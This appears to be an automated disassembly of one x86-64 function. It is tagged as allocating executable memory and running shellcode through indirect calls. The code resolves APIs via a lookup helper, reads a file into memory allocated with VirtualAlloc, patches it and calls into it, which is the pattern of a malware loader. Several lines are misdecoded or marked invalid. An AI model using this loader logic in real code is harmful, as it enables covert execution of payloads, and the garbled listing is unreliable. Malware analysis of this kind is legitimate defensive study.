Function at 0x4064e0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov rax, qword [rsp + 0xf8]
mov ecx, dword [rsp + 0x78]
movsx eax, byte [rax + rcx]
cmp eax, 0
je 0x406412
mov rax, qword [rsp + 0xf8]
mov ecx, dword [rsp + 0x78]
movsx eax, byte [rax + rcx]
mov rcx, qword [rsp + 0x68]
mov edx, dword [rsp + 0x54]
mov word [rcx + rdx*2], ax
mov eax, dword [rsp + 0x54]
add eax, 1
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x78]
add eax, 1
mov dword [rsp + 0x78], eax
jmp 0x4063c8
mov rax, qword [rsp + 0x40]
mov r9d, dword [rax + 0x48]
mov rax, qword [rsp + 0x40]
mov r8d, dword [rax + 0x40]
mov rax, qword [rsp + 0x40]
mov edx, dword [rax + 0x14]
mov rcx, qword [rsp + 0x80]
call fcn.00406101
mov qword [rsp + 0x130], rax
mov rax, qword [rsp + 0x130]
mov rcx, qword [rsp + 0x68]
mov edx, 0x80000000
mov r8d, 1
xor r9d, r9d
mov dword [rsp + 0x20], 4
mov dword [rsp + 0x28], 0x80
mov qword [rsp + 0x30], 0
call rax
mov qword [rsp + 0xf0], rax
mov rax, qword [rsp + 0x40]
mov r9d, dword [rax + 0x48]
mov rax, qword [rsp + 0x40]
mov r8d, dword [rax + 0x40]
mov rax, qword [rsp + 0x40]
mov edx, dword [rax + 0x34]
mov rcx, qword [rsp + 0x80]
call fcn.00406101
mov qword [rsp + 0x128], rax
mov rax, qword [rsp + 0x128]
mov rcx, qword [rsp + 0xf0]
xor edx, edx
call rax
mov dword [rsp + 0x9c], eax
mov eax, dword [rsp + 0x9c]
mov rcx, qword [rsp + 0x40]
mov ecx, dword [rcx + 0x48]
cmp eax, ecx
jne 0x4064e8
mov ecx, 1
call qword [rsp + 0x90]
mov rax, qword [rsp + 0x40]
mov eax, dword [rax + 0x28]
mov edx, eax
xor ecx, ecx
mov r8d, 0x1000
mov r9d, 4
call qword [sym.imp.kernel32.dll_VirtualAlloc]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x40]
mov r9d, dword [rax + 0x48]
mov rax, qword [rsp + 0x40]
mov r8d, dword [rax + 0x40]
mov rax, qword [rsp + 0x40]
mov edx, dword [rax]
mov rcx, qword [rsp + 0x80]
call fcn.00406101
mov qword [rsp + 0x120], rax
mov dword [rsp + 0x98], 0
mov rax, qword [rsp + 0x120]
mov r8d, dword [rsp + 0x9c]
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0xf0]
lea r9, [rsp + 0x98]
mov qword [rsp + 0x20], 0
call rax
cmp eax, 0
jne 0x406585
mov ecx, 1
call qword [rsp + 0x90]
mov rax, qword [rsp + 0x48]
mov ecx, dword [rsp + 0x98]
add rax, rcx
mov qword [rsp + 0xb8], rax
mov rax, qword [rsp + 0x40]
mov eax, dword [rax + 8]
mov rcx, qword [rsp + 0x48]
mov eax, eax
add rcx, rax
mov qword [rsp + 0x48], rcx
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
mov eax, dword [rax]
mov dword [rsp + 0xd4], eax
mov rax, qword [rsp + 0x60]
add rax, 4
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
mov eax, dword [rax]
mov dword [rsp + 0xd0], eax
mov rax, qword [rsp + 0x60]
add rax, 4
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x8c], 0
mov eax, dword [rsp + 0x8c]
cmp eax, dword [rsp + 0xd4]
jae 0x406641
mov eax, dword [rsp + 0xd0]
mov rcx, qword [rsp + 0x60]
add eax, dword [rcx]
mov dword [rcx], eax
mov eax, dword [rsp + 0x8c]
add eax, 1
mov dword [rsp + 0x8c], eax
mov rax, qword [rsp + 0x60]
add rax, 4
mov qword [rsp + 0x60], rax
jmp 0x406600
mov rax, qword [rsp + 0x40]
mov eax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x48]
mov eax, eax
add rcx, rax
mov qword [rsp + 0x48], rcx
mov rax, qword [rsp + 0x40]
mov esi, dword [rax + 0x48]
mov rax, qword [rsp + 0x40]
mov edi, dword [rax + 0x40]
mov rdx, qword [rsp + 0x48]
add rdx, 1
mov rax, qword [rsp + 0x40]
mov ecx, dword [rax + 0x40]
call fcn.00406091
mov rcx, qword [rsp + 0x80]
mov edx, eax
mov r8d, edi
mov r9d, esi
call fcn.00406101
mov qword [rsp + 0xe8], rax
cmp qword [rsp + 0xe8], 0
jne 0x4066b2
mov ecx, 1
call qword [rsp + 0x90]
mov rax, qword [rsp + 0x48]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x48]
cdqe
add rcx, rax
mov qword [rsp + 0x48], rcx
mov rax, qword [rsp + 0x40]
mov esi, dword [rax + 0x48]
mov rax, qword [rsp + 0x40]
mov edi, dword [rax + 0x40]
mov rdx, qword [rsp + 0x48]
add rdx, 1
mov rax, qword [rsp + 0x40]
mov ecx, dword [rax + 0x40]
call fcn.00406091
mov rcx, qword [rsp + 0x80]
add byte [rax], al
mov edx, eax
mov r8d, edi
mov r9d, esi
call fcn.00406101
mov qword [rsp + 0xb0], rax
cmp qword [rsp + 0xb0], 0
jne 0x406723
mov ecx, 1
call qword [rsp + 0x90]
mov rax, qword [rsp + 0x48]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x48]
cdqe
add rcx, rax
mov qword [rsp + 0x48], rcx
mov rax, qword [rsp + 0xe8]
mov rcx, qword [rsp + 0x48]
add rcx, 1
call rax
mov qword [rsp + 0xa8], rax
cmp qword [rsp + 0xa8], 0
jne 0x40676c
mov ecx, 1
call qword [rsp + 0x90]
mov rax, qword [rsp + 0x48]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x48]
cdqe
add rcx, rax
mov qword [rsp + 0x48], rcx
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x40]
mov ecx, dword [rcx + 0x38]
mov ecx, ecx
add rax, rcx
mov qword [rsp + 0xe0], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0xd8], rax
mov rax, qword [rsp + 0xd8]
mov eax, dword [rax + 4]
mov dword [rsp + 0xcc], eax
mov rax, qword [rsp + 0xd8]
mov eax, dword [rax + 8]
mov dword [rsp + 0x74], eax
mov rax, qword [rsp + 0xe0]
mov ecx, dword [rsp + 0x74]
add rax, rcx
mov qword [rsp + 0x118], rax
mov rax, qword [rsp + 0xa8]
mov rcx, qword [rsp + 0xa8]
movsxd rcx, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp + 0x110], rax
mov rax, qword [rsp + 0xa8]
mov rcx, qword [rsp + 0x110]
mov ecx, dword [rcx + 0x2c]
add rax, rcx
mov qword [rsp + 0xa0], rax
mov dword [rsp + 0x88], 0
mov rax, qword [rsp + 0xb0]
mov rcx, qword [rsp + 0x40]
mov r8d, dword [rcx + 0x10]
mov edx, dword [rsp + 0x74]
mov rcx, qword [rsp + 0xa0]
lea r9, [rsp + 0x88]
call rax
mov r8d, dword [rsp + 0x74]
mov rdx, qword [rsp + 0xe0]
mov rcx, qword [rsp + 0xa0]
call fcn.00405ea1
mov rax, qword [rsp + 0xb0]
mov r8d, dword [rsp + 0x88]
mov edx, dword [rsp + 0x74]
mov rcx, qword [rsp + 0xa0]
lea r9, [rsp + 0x88]
call rax
ror byte [rax - 0x75], 1
test byte [rax + riz*4], ah
add byte [rax], al
add byte [rbx + 0xcc248c], cl
add byte [rax], al
add rax, rcx
mov qword [rsp + 0x108], rax
mov dword [rsp + 0x58], 0
add byte [rax], al
invalid
mov rax, qword [rsp + 0x40]
mov rax, qword [rax + 0x2c]
movsxd rcx, dword [rsp + 0x58]
movsx eax, byte [rax + rcx]
cmp eax, 0
je 0x4068fa
mov rax, qword [rsp + 0x40]
mov rax, qword [rax + 0x2c]
mov eax, dword [rax + 0x2c]
movsxd rcx, dword [rsp + 0x58]
movsx eax, byte [rax + rcx]
mov rcx, qword [rsp + 0xb8]
movsxd rdx, dword [rsp + 0x58]
mov word [rcx + rdx*2], ax
mov eax, dword [rsp + 0x58]
add eax, 1
mov dword [rsp + 0x58], eax
jmp 0x4068b3
mov rax, qword [rsp + 0xb8]
movsxd rcx, dword [rsp + 0x58]
mov word [rax + rcx*2], 0
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0x148], rax
mov rax, qword [rsp + 0x118]
mov qword [rsp + 0x140], rax
invalid
invalid
invalid